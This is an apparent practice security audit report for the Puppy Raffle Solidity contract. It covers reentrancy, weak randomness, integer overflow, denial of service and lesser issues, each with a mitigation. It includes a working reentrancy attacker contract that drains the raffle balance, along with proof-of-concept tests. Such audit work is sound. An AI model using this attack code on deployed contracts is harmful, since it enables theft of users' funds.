Puppy Raffle Protocol Audit Report

Version 1.0

Mario Danish

May 31, 2025

Puppy Raffle Audit Report

Mario Danish

June 1, 2025

Prepared by: Mario Danish

Lead Auditors: - Mario Danish

Table of Contents

    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` function,is a potential denial of service (DoS) attack, incrementing the gas cost for future entrants.
    * [M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
  - LOW
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle
  - INFORMATIONAL/NON-CRITICAL
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2]: Using outdated version of solidity is not recommended
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] Does not follow CEI, which is not a best practice
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] State Changes are Missing Events
    * [I-7] _isActivePlayer is never used and should be removed
  - GAS
    * [G-1]: Unchanged state variable should be declared as constant or immutable
    * [G-2]: Storage variables in a loop should be cached

Protocol Summary

The Puppy Raffle protocol allows users to enter a raffle to win a randomly minted dog NFT.

- Users enter by calling `enterRaffle(address[] participants)` with a list of unique addresses. Duplicate entries are not allowed.
- Participants can call `refund()` to withdraw their ticket and receive their funds back before the raffle is drawn.
- Every X seconds, a winner is selected through the `selectWinner()` function, and a random puppy NFT is minted to them.
- Upon winner selection, 80% of the total funds go to the winner, and 20% go to a `feeAddress` set by the owner via `changeFeeAddress()`.

Disclaimer

Mario Danish has made every effort to identify as many vulnerabilities as possible within the given time frame. However, no warranties or guarantees are provided regarding the findings in this report.

This security audit does not constitute an endorsement of the underlying business or product. The audit was time-boxed and focused solely on the security aspects of the Solidity smart contract implementation.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

```
Commit Hash:
    2e8f81e263b3a9d18fab4fb5c46805ffc10a9990
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This report summarizes a security audit of the Puppy Raffle smart contract. The protocol enables users to enter a raffle to win a randomly minted dog NFT, with secure entry, refunds, winner selection, and fund distribution.

The audit focused solely on the Solidity code, identifying any security risks and providing recommendations.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas	2
Total	15

Findings

HIGH

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);
@>  players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

Impact: All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle balance.

PoC Code

Add the following to `PuppyRaffle.t.sol`

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}

// test to confirm vulnerability
function testCanGetRefundReentrancy() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(
        puppyRaffle);
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 1 ether);

    uint256 startingAttackContractBalance = address(attackerContract).
        balance;
    uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

    // attack

    vm.prank(attacker);
    attackerContract.attack{value: entranceFee}();

    // impact
    console.log("attackerContract balance: ",
        startingAttackContractBalance);
    console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
    console.log("ending attackerContract balance: ", address(
        attackerContract).balance);
    console.log("ending puppyRaffle balance: ", address(puppyRaffle).
        balance);
}
```

Recommendation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
```

```diff
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
       can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
       refunded, or is not active");
+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFees);
-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block`, `timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max
    // 18446744073709551615
    myVar = myVar + 1
    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 89 players enter a new raffle, and conclude the raffle.
3. `totalFees` will be:

```
        totalFees = totalFees + uint64(fee);
        // substituted
        totalFees = 800000000000000000 + 17800000000000000000;
        // due to overflow, the following is now the case
        totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

```
         require(address(this).balance ==
         uint256(totalFees), "PuppyRaffle: There are currently players
             active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Code

```
function test_totalFeesOverflow() public playersEntered {
        // Entered 4 players
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startTotalFees = puppyRaffle.totalFees(); // fee of 4
            players

        // Entering 90 players
        uint256 newPlayers = 90;
        address[] memory players = new address[](newPlayers);
        for (uint256 i = 0; i < newPlayers; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * newPlayers}(
            players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endTotalFees = puppyRaffle.totalFees(); // fee of 94
            players

        assert(endTotalFees < startTotalFees);
        console.log("Total Fees of 4 players: ", startTotalFees);
        console.log("Total Fees of 94 players: ", endTotalFees);

        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
-     pragma solidity ^0.7.6;
+     pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
-      uint64 public totalFees = 0;
+     uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
-     require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently      players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

MEDIUM

[M-1] Looping through players array to check for duplicates in `PuppyRaffle:enterRaffle` function,is a potential denial of service (DoS) attack, incrementing the gas cost for future entrants.

Description The `PuppyRaffle:enterRaffle` function loops through the `players` array to check for duplicates. However, the longer `PuppyRaffle:players` array is, the more checks the new players will have to make. This means that the gas cost for the players who enter the raffle at the start will be dramatically lower than the new players who join later in the raffle. Every additional address in the `players` array, is an additional check the loop will have to make.

```

// @audit Dos Attack
@> for(uint256 i = 0; i < players.length -1; i++){
     for(uint256 j = i+1; j< players.length; j++){
     require(players[i] != players[j],"PuppyRaffle: Duplicate Player");
   }
}
```

Impact The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging the later users from entering and causing rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept If we have 2 sets of 100 players enter, the gas costs will be as such:

1. 1st 100 players: ~6252048 gas
2. 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players.

Proof of Code

```
function test_DenialOfService() public {
        vm.txGasPrice(1);

        //Enter First 100 players in the raffle
        uint256 numPlayers = 100;
        address[] memory players = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(i);
        }

        //How much gas it cost for first set of 100 players?
        uint256 gasStartFirst = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEndFirst = gasleft();
        uint256 gasUsedFirst = gasStartFirst - gasEndFirst;
        console.log("Gas at First Start:", gasStartFirst);
        console.log("Gas at First End:", gasEndFirst);
        console.log("Gas used for entering first 100 players:",
            gasUsedFirst);

        //Enter Second 100 players in the raffle
        address[] memory playersSecond = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            playersSecond[i] = address(i + numPlayers);
        }

        //How much gas it cost for second set of 100 players?
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersSecond
        );
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = gasStartSecond - gasEndSecond;
        console.log("Gas at Second Start:", gasStartSecond);
        console.log("Gas at Second End:", gasEndSecond);
        console.log("Gas used for entering second 100 players:",
            gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
+     mapping(address => uint256) public addressToRaffleId;
+     uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+             addressToRaffleId[newPlayers[i]] = raffleId;
         }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-             }
-         }
         emit RaffleEnter(newPlayers);
     }
.
.
.
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants. (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

LOW

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered correctly due to the function documentation.

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

INFORMATIONAL/NON-CRITICAL

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
    pragma solidity ^0.7.6;
```

[I-2]: Using outdated version of solidity is not recommended

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 168

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] Does not follow CEI, which is not a best practice

It’s best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-   (bool success,) = winner.call{value: prizePool}("");
-   require(success, "PuppyRaffle: Failed to send prize pool to winner"
   );
        _safeMint(winner, tokenId);
+   (bool success,) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner"
   );
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it’s much more readable if the numbers are given a name.

Examples:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;

    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
        / POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
        POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples:

- `PuppyRaffle::totalFees` within the `selectWinner` function.
- `PuppyRaffle::raffleStartTime` within the `selectWinner` function.
- `PuppyRaffle::totalFees` within the `withdrawFees` function.

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

GAS

[G-1]: Unchanged state variable should be declared as constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2]: Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+     uint256 playerLength = players.length;
-     for (uint256 i = 0; i < players.length - 1; i++) {
+      for (uint256 i = 0; i < playerLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
               require(
                   players[i] != players[j],
                   "PuppyRaffle: Duplicate player"
               );
           }
       }
```